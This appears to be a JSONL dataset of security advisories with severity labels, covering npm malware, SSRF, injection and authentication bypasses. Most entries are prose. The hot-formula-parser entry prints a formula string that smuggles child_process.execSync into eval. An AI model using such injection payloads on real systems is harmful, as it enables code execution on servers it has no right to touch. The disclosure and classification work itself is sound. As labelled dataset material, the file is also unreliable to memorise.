`xmlsec1` will not validate every signature in the given document, but only the first it finds in the given scope.\n\n### Patches\n\nUsers should upgrade to pysaml2 `v6.5.0`.\n\n### Workarounds\n\nNo workaround provided at this point.\n\n### References\n\nNo references provided at this point.\n\n### Credits\n\n- Victor Schönfelder Garcia (isits AG International School of IT Security)\n- Juraj Somorovsky (Paderborn University)\n- Vladislav Mladenov (Ruhr University Bochum)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [pysaml2](https://github.com/IdentityPython/pysaml2)\n* Email us at [the incident-response address](mailto:incident-response@idpy.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-21", "split": "train"}
-{"id": "dbad9fc53c78fe5ca2d4", "text": "Uncaught Exception in mercurius\n\n### Impact\n\nAny users from Mercurius@8.10.0 to 8.11.1 are subjected to a denial of service attack by sending a malformed JSON to `/graphql` unless they are using a custom error handler.\n\n### Patches\n\nThe vulnerability has been fixed in https://github.com/mercurius-js/mercurius/pull/678 and shipped as v8.11.2.\n\n### Workarounds\n\nUse a custom error handler.\n\n### References\n\nSee https://github.com/mercurius-js/mercurius/issues/677\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/mercurius-js/mercurius\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "text_raw": "Uncaught Exception in mercurius\n\n[Severity: HIGH]\n\n### Impact\n\nAny users from Mercurius@8.10.0 to 8.11.1 are subjected to a denial of service attack by sending a malformed JSON to `/graphql` unless they are using a custom error handler.\n\n### Patches\n\nThe vulnerability has been fixed in https://github.com/mercurius-js/mercurius/pull/678 and shipped as v8.11.2.\n\n### Workarounds\n\nUse a custom error handler.\n\n### References\n\nSee https://github.com/mercurius-js/mercurius/issues/677\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/mercurius-js/mercurius\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-13", "split": "train"}
-{"id": "1936c4a0e1252c670ccf", "text": "Command Injection in hot-formula-parser\n\nVersions of `hot-formula-parser` prior to 3.0.1 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `parse` function and concatenates it in an `eval` call. If a value of the formula is supplied by user-controlled input it may allow attackers to run arbitrary commands in the server.  \nParsing the following formula creates a `test` file in the present directory:  \n`\"SUM([(function(){require('child_process').execSync('touch test')})(),2])\"`\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "text_raw": "Command Injection in hot-formula-parser\n\n[Severity: CRITICAL]\n\nVersions of `hot-formula-parser` prior to 3.0.1 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `parse` function and concatenates it in an `eval` call. If a value of the formula is supplied by user-controlled input it may allow attackers to run arbitrary commands in the server.  \nParsing the following formula creates a `test` file in the present directory:  \n`\"SUM([(function(){require('child_process').execSync('touch test')})(),2])\"`\n\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-06", "split": "train"}
-{"id": "70e4e1f9316771b7207f", "text": "Malicious Package in uglyfi-js\n\nVersion 3.4.6 of `uglyfi-js` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in uglyfi-js\n\n[Severity: CRITICAL]\n\nVersion 3.4.6 of `uglyfi-js` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "c82eb1ce0d9b45972cad", "text": "graphite.composer.views.send_email vulnerable to SSRF\n\n### Impact\nsend_email in graphite-web/webapp/graphite/composer/views.py in Graphite through 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an e-mail address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. Email will be send through SMTP server configured in Graphite, by default it's 'localhost'\n\n### Patches\nProblem was patched in Graphite-web 1.1.6. Also patches was released for graphite-web [1.0.x](https://github.com/graphite-project/graphite-web/pull/2501) and [0.9.x](https://github.com/graphite-project/graphite-web/pull/2500), and we'll discuss releases of non-supported branches later.\n\n### Workarounds\nYou can manually remove function `send_email` from file `webapp/graphite/composer/views.py`. This function are not in use and will not affect your Graphite installation.\n\n### References\nFor more information check this graphite-web Github issue #2008\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add comment in [issue #2008](https://github.com/graphite-project/graphite-web/issues/2008)", "text_raw": "graphite.composer.views.send_email vulnerable to SSRF\n\n[Severity: HIGH]\n\n### Impact\nsend_email in graphite-web/webapp/graphite/composer/views.py in Graphite through 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an e-mail address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. Email will be send through SMTP server configured in Graphite, by default it's 'localhost'\n\n### Patches\nProblem was patched in Graphite-web 1.1.6. Also patches was released for graphite-web [1.0.x](https://github.com/graphite-project/graphite-web/pull/2501) and [0.9.x](https://github.com/graphite-project/graphite-web/pull/2500), and we'll discuss releases of non-supported branches later.\n\n### Workarounds\nYou can manually remove function `send_email` from file `webapp/graphite/composer/views.py`. This function are not in use and will not affect your Graphite installation.\n\n### References\nFor more information check this graphite-web Github issue #2008 \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add comment in [issue #2008](https://github.com/graphite-project/graphite-web/issues/2008)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-25", "split": "train"}
-{"id": "994a84ded91e451998e4", "text": "up.time 7.5.0 Upload And Execute File Exploit", "text_raw": "up.time 7.5.0 Upload And Execute File Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-08-19", "split": "train"}
-{"id": "11c10001a6617033dde7", "text": "Path Traversal in marked-tree\n\nThis affects all versions up to and including version 0.8.1 of package marked-tree. There is no path sanitization in the path provided at fs.readFile in index.js.", "text_raw": "Path Traversal in marked-tree\n\n[Severity: HIGH]\n\nThis affects all versions up to and including version 0.8.1 of package marked-tree. There is no path sanitization in the path provided at fs.readFile in index.js.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "22d2a3558a341940233f", "text": "Cross-Site Request Forgery (CSRF) in trestle-auth\n\n### Impact\nA vulnerability in trestle-auth versions 0.4.0 and 0.4.1 allows an attacker to create a form that will bypass Rails' built-in CSRF protection when submitted by a victim with a trestle-auth admin session. This potentially allows an attacker to alter protected data, including admin account credentials.\n\n### Patches\nThe vulnerability has been fixed in trestle-auth 0.4.2 released to RubyGems.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [trestle-auth](https://github.com/TrestleAdmin/trestle-auth/issues)\n* Email the maintainer at [sam@sampohlenz.com](mailto:sam@sampohlenz.com)", "text_raw": "Cross-Site Request Forgery (CSRF) in trestle-auth\n\n[Severity: HIGH]\n\n### Impact\nA vulnerability in trestle-auth versions 0.4.0 and 0.4.1 allows an attacker to create a form that will bypass Rails' built-in CSRF protection when submitted by a victim with a trestle-auth admin session. This potentially allows an attacker to alter protected data, including admin account credentials.\n\n### Patches\nThe vulnerability has been fixed in trestle-auth 0.4.2 released to RubyGems.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [trestle-auth](https://github.com/TrestleAdmin/trestle-auth/issues)\n* Email the maintainer at [sam@sampohlenz.com](mailto:sam@sampohlenz.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "a412c6a6a155cd9fc52f", "text": "Malicious Package in midway-xtpl\n\nAll versions of `midway-xtpl` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in midway-xtpl\n\n[Severity: CRITICAL]\n\nAll versions of `midway-xtpl` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4470808d47964f769637", "text": "Duplicate Advisory: Reflected cross-site scripting issue in Datasette\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xw7c-jx9m-xh5g. This link is maintained to preserve external references.\n\n## Original Description\nDatasette is an open source multi-tool for exploring and publishing data. The `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability. This vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data. Datasette 0.57 and 0.56.1 both include patches for this issue. If you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters.", "text_raw": "Duplicate Advisory: Reflected cross-site scripting issue in Datasette\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xw7c-jx9m-xh5g. This link is maintained to preserve external references.\n\n## Original Description\nDatasette is an open source multi-tool for exploring and publishing data. The `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability. This vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data. Datasette 0.57 and 0.56.1 both include patches for this issue. If you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "0224af8c28318ad490ef", "text": "Jetty contains an alias issue that could allow unauthenticated remote code execution due to specially crafted request\n\nThe path normalization mechanism in PathResource class in Eclipse Jetty 9.3.x before 9.3.9 on Windows allows remote attackers to bypass protected resource restrictions and other security constraints via a URL with certain escaped characters, related to backslashes.", "text_raw": "Jetty contains an alias issue that could allow unauthenticated remote code execution due to specially crafted request\n\n[Severity: CRITICAL]\n\nThe path normalization mechanism in PathResource class in Eclipse Jetty 9.3.x before 9.3.9 on Windows allows remote attackers to bypass protected resource restrictions and other security constraints via a URL with certain escaped characters, related to backslashes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "e8d2522a4ce4635e9e4a", "text": "Command injection in spritesheet-js\n\nThis affects all versions of package spritesheet-js. It depends on a vulnerable package platform-command. The injection point is located in line 32 in lib/generator.js, which is triggered by main entry of the package.", "text_raw": "Command injection in spritesheet-js\n\n[Severity: CRITICAL]\n\nThis affects all versions of package spritesheet-js. It depends on a vulnerable package platform-command. The injection point is located in line 32 in lib/generator.js, which is triggered by main entry of the package.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "57413cdbb7729109882e", "text": "Signature Validation Bypass\n\n### Impact\n\nAn authentication bypass exists in the [goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7) this library uses to determine if SAML assertions are genuine. An attacker could craft a SAML response that would appear to be valid but would not have been genuinely issued by the IDP.\n\n### Patches\n\nVersion 0.4.2 bumps the dependency which should fix the issue.\n\n### For more information\n\nPlease see [the advisory in goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7)\n\n## Credits\n\nThe original vulnerability was discovered by @jupenur. Thanks to @russellhaering for the heads up.", "text_raw": "Signature Validation Bypass\n\n[Severity: CRITICAL]\n\n### Impact\n\nAn authentication bypass exists in the [goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7) this library uses to determine if SAML assertions are genuine. An attacker could craft a SAML response that would appear to be valid but would not have been genuinely issued by the IDP.\n\n### Patches\n\nVersion 0.4.2 bumps the dependency which should fix the issue.\n\n### For more information\n\nPlease see [the advisory in goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7)\n\n## Credits\n\nThe original vulnerability was discovered by @jupenur. Thanks to @russellhaering for the heads up.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "a2d9c5c8060f12505569", "text": "Improper Certificate Validation in twitter-stream\n\nIn voloko twitter-stream 0.1.16, missing TLS hostname validation allows an attacker to perform a man-in-the-middle attack against users of the library (because eventmachine is misused).", "text_raw": "Improper Certificate Validation in twitter-stream\n\n[Severity: MEDIUM]\n\nIn voloko twitter-stream 0.1.16, missing TLS hostname validation allows an attacker to perform a man-in-the-middle attack against users of the library (because eventmachine is misused).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "684936bac7b2c5e505ff", "text": "SQL Injection in moodle\n\nIn moodle, some database module web services allowed students to add entries within groups they did not belong to. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.8.6, 3.7.9, 3.5.15, and 3.10.", "text_raw": "SQL Injection in moodle\n\n[Severity: MEDIUM]\n\nIn moodle, some database module web services allowed students to add entries within groups they did not belong to. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.8.6, 3.7.9, 3.5.15, and 3.10.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "70ab9ea5d45262664a31", "text": "In github.com/pion/webrtc, failed DTLS certificate verification doesn't stop data channel communication\n\n### Impact\nData channel communication was incorrectly allowed with users who have failed DTLS certificate verification.\n\nThis attack requires \n* Attacker knows the ICE password. \n* Only take place during PeerConnection handshake.\n\nThis attack can be detected by monitoring `PeerConnectionState` in all versions of Pion WebRTC.\n\n### Patches\nUsers should upgrade to v3.0.15.\n\nThe exact patch is https://github.com/pion/webrtc/commit/545613dcdeb5dedb01cce94175f40bcbe045df2e\n\n### Workarounds\nUsers should listen for when `PeerConnectionState` changes to `PeerConnectionStateFailed`. When it enters this state users should not continue using the PeerConnection.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/pion/webrtc\n* Email us at [team@pion.ly](mailto:team@pion.ly)\n\nThank you to https://github.com/Gaukas for discovering this.", "text_raw": "In github.com/pion/webrtc, failed DTLS certificate verification doesn't stop data channel communication\n\n[Severity: MEDIUM]\n\n### Impact\nData channel communication was incorrectly allowed with users who have failed DTLS certificate verification.\n\nThis attack requires \n* Attacker knows the ICE password. \n* Only take place during PeerConnection handshake.\n\nThis attack can be detected by monitoring `PeerConnectionState` in all versions of Pion WebRTC.\n\n### Patches\nUsers should upgrade to v3.0.15. \n\nThe exact patch is https://github.com/pion/webrtc/commit/545613dcdeb5dedb01cce94175f40bcbe045df2e\n\n### Workarounds\nUsers should listen for when `PeerConnectionState` changes to `PeerConnectionStateFailed`. When it enters this state users should not continue using the PeerConnection.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/pion/webrtc\n* Email us at [team@pion.ly](mailto:team@pion.ly)\n\nThank you to https://github.com/Gaukas for discovering this.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "82ece4b37175ac5de1ce", "text": "HTTP Request Smuggling in Undertow\n\nA flaw was found in Undertow in versions before 2.1.1.Final, regarding the processing of invalid HTTP requests with large chunk sizes. This flaw allows an attacker to take advantage of HTTP request smuggling.", "text_raw": "HTTP Request Smuggling in Undertow\n\n[Severity: MEDIUM]\n\nA flaw was found in Undertow in versions before 2.1.1.Final, regarding the processing of invalid HTTP requests with large chunk sizes. This flaw allows an attacker to take advantage of HTTP request smuggling.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "54679ae752df1df1727f", "text": "Denial of service vulnerability in org.apache.httpcomponents:httpclient\n\nhttp/conn/ssl/SSLConnectionSocketFactory.java in Apache HttpComponents HttpClient before 4.3.6 ignores the http.socket.timeout configuration setting during an SSL handshake, which allows remote attackers to cause a denial of service (HTTPS call hang) via unspecified vectors.", "text_raw": "Denial of service vulnerability in org.apache.httpcomponents:httpclient\n\n[Severity: MEDIUM]\n\nhttp/conn/ssl/SSLConnectionSocketFactory.java in Apache HttpComponents HttpClient before 4.3.6 ignores the http.socket.timeout configuration setting during an SSL handshake, which allows remote attackers to cause a denial of service (HTTPS call hang) via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "6afbd59da2020e876caf", "text": "WITHDRAWN", "text_raw": "WITHDRAWN\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fb6f65e134f3f1072923", "text": "Remote Code Execution in AjaxNetProfessional\n\n### Overview\n\nAffected versions of this package are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.\n\n### Description\n\nSerialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.\n\nDeserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.\n\nJava deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.\n\nAn attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.\n\nDevelopers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).\n\n### Releases\n\nReleases before version 21.11.29.1 are affected. Please be careful to download any binary DLL from other web sites, especially we found NuGet packages not owned by us that contain vulnerable versions.\n\n### Workarounds\n\nThere is no workaround available that addresses all issues except updating to latest version from GitHub.\n\n### References\n\nFind original CVE posting here: https://security.snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971\n\nNote: the official Ajax.NET Professional (AjaxPro) NuGet package is available here: https://www.nuget.org/packages/AjaxNetProfessional/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on this GitHub repository", "text_raw": "Remote Code Execution in AjaxNetProfessional\n\n[Severity: CRITICAL]\n\n### Overview\n\nAffected versions of this package are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.\n\n### Description\n\nSerialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.\n\nDeserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.\n\nJava deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.\n\nAn attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.\n\nDevelopers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).\n\n### Releases\n\nReleases before version 21.11.29.1 are affected. Please be careful to download any binary DLL from other web sites, especially we found NuGet packages not owned by us that contain vulnerable versions.\n\n### Workarounds\n\nThere is no workaround available that addresses all issues except updating to latest version from GitHub.\n\n### References\n\nFind original CVE posting here: https://security.snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971\n\nNote: the official Ajax.NET Professional (AjaxPro) NuGet package is available here: https://www.nuget.org/packages/AjaxNetProfessional/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on this GitHub repository", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "796db869f2e35c00e0a6", "text": "Soitec SmartEnergy 1.4 SCADA Login SQL Injection Authentication Bypass Exploit", "text_raw": "Soitec SmartEnergy 1.4 SCADA Login SQL Injection Authentication Bypass Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-12-14", "split": "train"}
-{"id": "0511ae9a6b4caa440243", "text": "Subdomain checking of whitelisted domains could allow unintended redirects in oauth2-proxy\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nFor users that use the whitelist domain feature, a domain that ended in a similar way to the intended domain could have been allowed as a redirect.\n\nFor example, if a whitelist domain was configured for `.example.com`, the intention is that subdomains of `example.com` are allowed.\nInstead, `example.com` and `badexample.com` could also match.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nThis is fixed in version 7.0.0 onwards.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nDisable the whitelist domain feature and run separate OAuth2 Proxy instances for each subdomain.\n\n# Original Issue Posted by @semoac:\n\nWhitelist Domain feature is not working as expected because is not matching a dot to ensure the redirect is a subdomain.\n\n## Expected Behavior\n\nIf whitelist domain is set to `.example.com` , then `hack.alienexample.com`  should be rejected as a valid redirect.\n\n## Current Behavior\n\nThe code is removing the `dot`  from `.example.com`  and  only checking if the redirect string end with `example.com`\n\n## Possible Solution\nHere\nhttps://github.com/oauth2-proxy/oauth2-proxy/blob/c377466411f2aee180a732187edb638f2f7e57fb/oauthproxy.go#L661\n\nInclude the dot when checking the string:\n```\nstrings.HasSuffix(redirectHostname, \".\" + domainHostname)\n```\n\n## Steps to Reproduce (for bugs)\n\n```\npackage main\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\nfunc validOptionalPort(port string) bool {\n\tif port == \"\" || port == \":*\" {\n\t\treturn true\n\t}\n\tif port[0] != ':' {\n\t\treturn false\n\t}\n\tfor _, b := range port[1:] {\n\t\tif b < '0' || b > '9' {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc splitHostPort(hostport string) (host, port string) {\n\thost = hostport\n\ncolon := strings.LastIndexByte(host, ':')\n\tif colon != -1 && validOptionalPort(host[colon:]) {\n\t\thost, port = host[:colon], host[colon+1:]\n\t}\n\nif strings.HasPrefix(host, \"[\") && strings.HasSuffix(host, \"]\") {\n\t\thost = host[1 : len(host)-1]\n\t}\n\nreturn\n}\n\nfunc main() {\n\tdomain := \".example.com\"\n\tdomainHostname, _ := splitHostPort(strings.TrimLeft(domain, \".\"))\n\tredirectHostname := \"https://hack.alienexample.com\"\n\tif (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) { fmt.Println(\"This should not have happen.\")}\n}\n\n```\n\nUsers of `github.com/oauth2-proxy/oauth2-proxy` are advised to update to `github.com/oauth2-proxy/oauth2-proxy/v7`", "text_raw": "Subdomain checking of whitelisted domains could allow unintended redirects in oauth2-proxy\n\n[Severity: LOW]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nFor users that use the whitelist domain feature, a domain that ended in a similar way to the intended domain could have been allowed as a redirect.\n\nFor example, if a whitelist domain was configured for `.example.com`, the intention is that subdomains of `example.com` are allowed.\nInstead, `example.com` and `badexample.com` could also match.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nThis is fixed in version 7.0.0 onwards.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nDisable the whitelist domain feature and run separate OAuth2 Proxy instances for each subdomain.\n\n# Original Issue Posted by @semoac:\n\nWhitelist Domain feature is not working as expected because is not matching a dot to ensure the redirect is a subdomain.\n\n## Expected Behavior\n\nIf whitelist domain is set to `.example.com` , then `hack.alienexample.com`  should be rejected as a valid redirect.\n\n## Current Behavior\n\nThe code is removing the `dot`  from `.example.com`  and  only checking if the redirect string end with `example.com`\n\n## Possible Solution\nHere\nhttps://github.com/oauth2-proxy/oauth2-proxy/blob/c377466411f2aee180a732187edb638f2f7e57fb/oauthproxy.go#L661\n\nInclude the dot when checking the string:\n```\nstrings.HasSuffix(redirectHostname, \".\" + domainHostname)\n```\n\n## Steps to Reproduce (for bugs)\n\n```\npackage main\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\nfunc validOptionalPort(port string) bool {\n\tif port == \"\" || port == \":*\" {\n\t\treturn true\n\t}\n\tif port[0] != ':' {\n\t\treturn false\n\t}\n\tfor _, b := range port[1:] {\n\t\tif b < '0' || b > '9' {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc splitHostPort(hostport string) (host, port string) {\n\thost = hostport\n\n\tcolon := strings.LastIndexByte(host, ':')\n\tif colon != -1 && validOptionalPort(host[colon:]) {\n\t\thost, port = host[:colon], host[colon+1:]\n\t}\n\n\tif strings.HasPrefix(host, \"[\") && strings.HasSuffix(host, \"]\") {\n\t\thost = host[1 : len(host)-1]\n\t}\n\n\treturn\n}\n\nfunc main() {\n\tdomain := \".example.com\"\n\tdomainHostname, _ := splitHostPort(strings.TrimLeft(domain, \".\"))\n\tredirectHostname := \"https://hack.alienexample.com\"\n\tif (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) { fmt.Println(\"This should not have happen.\")}\n}\n\n```\n\nUsers of `github.com/oauth2-proxy/oauth2-proxy` are advised to update to `github.com/oauth2-proxy/oauth2-proxy/v7`", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "baef9138235f5763a91c", "text": "Entropy Backdoor in text-qrcode\n\nAll versions of `text-qrcode` contain malicious code that overwrites the `randomBytes` method for the `crypto` module with a function that generates weak entropy. Instead of generating 32 bytes, the infected randomBytes will generate 3 bytes of entropy and hash them, resulting in a 32 byte value being returned, but one that is easily guessable.\n\n## Recommendation\n\nUninstall `text-qrcode` immediately. If the module was used to generate entropy that is load bearing, all such instances of generated entropy must be replaced. This includes things like bitcoin wallets, private keys, encrypted messages, etc.", "text_raw": "Entropy Backdoor in text-qrcode\n\n[Severity: HIGH]\n\nAll versions of `text-qrcode` contain malicious code that overwrites the `randomBytes` method for the `crypto` module with a function that generates weak entropy. Instead of generating 32 bytes, the infected randomBytes will generate 3 bytes of entropy and hash them, resulting in a 32 byte value being returned, but one that is easily guessable. \n\n\n## Recommendation\n\nUninstall `text-qrcode` immediately. If the module was used to generate entropy that is load bearing, all such instances of generated entropy must be replaced. This includes things like bitcoin wallets, private keys, encrypted messages, etc.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
